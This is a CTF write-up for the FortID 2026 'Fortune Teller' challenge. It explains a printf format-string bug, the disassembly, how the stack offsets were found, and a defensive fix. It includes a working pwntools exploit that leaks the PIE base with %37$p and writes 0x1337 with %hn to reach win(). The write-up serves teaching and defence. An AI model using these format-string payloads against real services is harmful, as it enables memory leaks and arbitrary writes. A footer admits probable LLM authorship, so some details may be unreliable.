Neven Marić
FortID 2026

PwnFortID 2026

Fortune Teller

A menu service prints a user-supplied string straight into printf. The same format-string bug leaks the PIE base and then writes the magic value a second menu option checks for, which hands back a shell-read flag.

  • format-string
  • printf
  • pie-bypass
  • arbitrary-write

What this one teaches

  • Why passing attacker input as printf's format string (printf(buf) instead of printf("%s", buf)) is a bug, not a style complaint.
  • How %p positional specifiers leak stack and register values, and how %n/%hn turn the same string into an arbitrary write.
  • Why full RELRO, a stack canary, NX, and PIE don't help once a format-string bug is reachable: none of them is the mechanism it uses.

Task description

The oracle will answer any question, but it may reveal more than it should. Connect to the service and recover the flag.

This is the handout README.md text. The in-game blurb was shorter: “The oracle will answer any question 🔮, you might even get blessed with a flag…”

What the service does

The handout is a 64-bit, non-stripped, PIE ELF (fortune) with full RELRO, a stack canary, and NX, plus its source chall.c. I confirmed each protection from the file: e_type = ET_DYN (PIE), the GNU_STACK segment has no execute bit (NX), a GNU_RELRO segment is present, and __stack_chk_fail is imported (canary). The README.md states the same set.

It loops over a menu with three options. The two that matter:

volatile unsigned int blessing = 0;

static void ask_oracle(void) {
    char question[256];
    puts("Ask the oracle anything:");
    read_line(question, sizeof(question));
    puts("The oracle speaks:");
    printf(question);          // attacker string used as the format
    putchar('\n');
}

static void receive_blessing(void) {
    if (blessing == 0x1337) { win(); }   // win() reads and prints flag.txt
}

blessing starts at 0 and nothing in the normal control flow ever sets it to 0x1337, so the goal is to force that value from outside and then pick option 2. The menu loops forever, so the same process can be hit with as many format-string payloads as needed before cashing in the blessing. win() itself just fopens flag.txt, fgets it, and puts it, so a single successful call to receive_blessing with blessing == 0x1337 prints the flag.

The bug

printf(question) hands the caller’s own text to printf as the format string itself (CWE-134, uncontrolled format string). Because question is attacker-controlled, so is every % conversion in it. That gives two primitives for free:

  • a read primitive via %p or %x, which prints whatever value sits at that argument position (here, register and stack contents from the call);
  • a write primitive via %n/%hn, which writes the number of bytes printf has emitted so far to a pointer taken from the argument list.
What a format-string bug actually does, for a reader coming from another specialism

printf’s first argument is a format string, and each % directive in it tells printf to fetch another argument and format it. The caller is supposed to pass those extra arguments. printf has no way to know how many were really passed: it just reads them in order from registers and then the stack as the format string demands.

If the attacker controls the format string, they control that fetch. %p prints the next argument as a pointer, so a string of %ps walks along the stack and dumps whatever is there, which is how memory contents leak. %n is the dangerous inverse: it takes the next argument as a pointer and writes to it the number of characters printed so far. So %100c%7$n prints 100 characters then writes the value 100 to the 7th argument slot, treated as an int*. %hn writes only the low 16 bits. By padding the output to a chosen width and pointing the slot at a chosen address, the attacker writes a chosen value to a chosen location: a full arbitrary write, built from a logging function.

None of the binary’s protections matter against this path. There is no stack overflow and no GOT write, so the canary and full RELRO have nothing to catch, and NX is irrelevant because no shellcode runs. PIE is the one protection actually in play, because it hides the address of blessing, and the leak primitive is exactly what defeats PIE.

Finding the offsets

The stack frame ask_oracle builds before calling printf is short, and I verified these instructions by decoding the bytes at each address directly out of the ELF:

1457:  endbr64                      ; f3 0f 1e fa
145f:  sub    $0x110,%rsp          ; 48 81 ec 10 01 00 00
...
14ca:  lea    -0x110(%rbp),%rax    ; 48 8d 85 f0 fe ff ff   # question
14d4:  mov    %rax,%rdi
14d9:  call   1140 <printf@plt>    ; e8 62 fc ff ff -> 0x1140

Nothing touches the stack pointer between that sub and the printf call, so rsp at the call is exactly rbp-0x110, the address of question. In the System V AMD64 calling convention printf’s first five variadic arguments travel in rsi, rdx, rcx, r8, and r9; the sixth is the first one it reads off the stack. So question[0:8] is argument 6, the number a %N$ payload needs to reach the buffer’s own bytes.

Scanning %6$p through %45$p against a running instance and comparing to /proc/<pid>/maps turned up one slot that always lands inside the binary’s own code:

  • %37$p always equals pie_base + 0x1441.

That address is not a pointer anyone passes to printf on purpose. 0x1441 is the instruction immediately after read_choice’s own call to atoi, which I confirmed by decoding read_choice:

1409 <read_choice>:
    ...
    143c:  call   11a0 <atoi@plt>   ; e8 ... -> 0x11a0
    1441:  mov    -0x8(%rbp),%rdx   ; 48 8b 55 f8

main always calls read_choice to parse the menu number before it calls ask_oracle, so by the time ask_oracle’s printf runs, the return address that call atoi pushed (the address 0x1441, relative to the PIE base) is still sitting untouched further up the stack. read_line only ever writes the question plus a null terminator, so it never reaches that far, and the two-call order (read_choice, then ask_oracle) repeats identically on every pass through the menu. That fixed order is what makes %37$p reliable: once the fixed 0x1441 is subtracted, the result is page-aligned, exactly what a PIE base has to be.

The write target’s own offset comes from the symbol table, which I read straight from the ELF:

blessing          0x404c   (B, .bss)
win               0x12a9
main              0x1570
receive_blessing  0x14ff
ask_oracle        0x1457
read_choice       0x1409

So the full address is (leak_from_%37$p - 0x1441) + 0x404c, and because 0x1337 fits in 16 bits while blessing starts at 0, a single 2-byte (%hn) write sets the low half exactly and leaves the high half correctly zero.

Exploit

The chain per connection is three round trips: leak the PIE base with %37$p, write 0x1337 into blessing with a %hn format string built by pwntools’ fmtstr_payload, then select option 2 to trigger win().

BLESSING_OFF = 0x404c
LEAK_OFF     = 0x1441   # %37$p == pie_base + 0x1441
FMT_OFFSET   = 6        # attacker buffer starts at printf arg #6

leak = int(ask(io, b"%37$p").strip(), 16)
pie  = leak - LEAK_OFF
blessing = pie + BLESSING_OFF
assert pie & 0xfff == 0   # sanity check: a base is page-aligned

ask(io, fmtstr_payload(FMT_OFFSET, {blessing: 0x1337}, write_size="short"))

# option 2 -> blessing == 0x1337 -> win() reads flag.txt

The exact %hn payload is built per connection because blessing’s address changes with the PIE base each run; in the recorded live run the generated format string was 24 bytes. Against the live service:

[*] pie base     = 0x558e75fa3000
[*] blessing @   = 0x558e75fa704c
[*] fmt payload len = 24
FortID{Fortun3_Fav0r5_Th3_b0ld...

The leaked pie base is page-aligned and blessing @ is exactly pie + 0x404c, which is the consistency check the solver asserts. The handout’s own solve.py is the script this exploit is built from, and the flag itself comes from the live run, since no handout file echoes it back.

Defence

The one-line fix is to stop passing user input as a format string: printf("%s", question) instead of printf(question). A format-string bug is unusual among memory bugs in that it gives both the leak and the write from the same primitive, so once it is reachable, PIE stops mattering on its own, and it never touches the stack layout or the GOT, so a canary and full RELRO never even see it. Compiling with -Wformat -Wformat-security and treating warnings as errors catches a non-literal format argument at build time, before it ships.

The flagRevealFortID{Fortun3_Fav0r5_Th3_b0ld_bu7_al50_Th05e_Th4t_C4n_Expl0i7_F0rma7_Str1ng_VulnZZ_530942319d}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.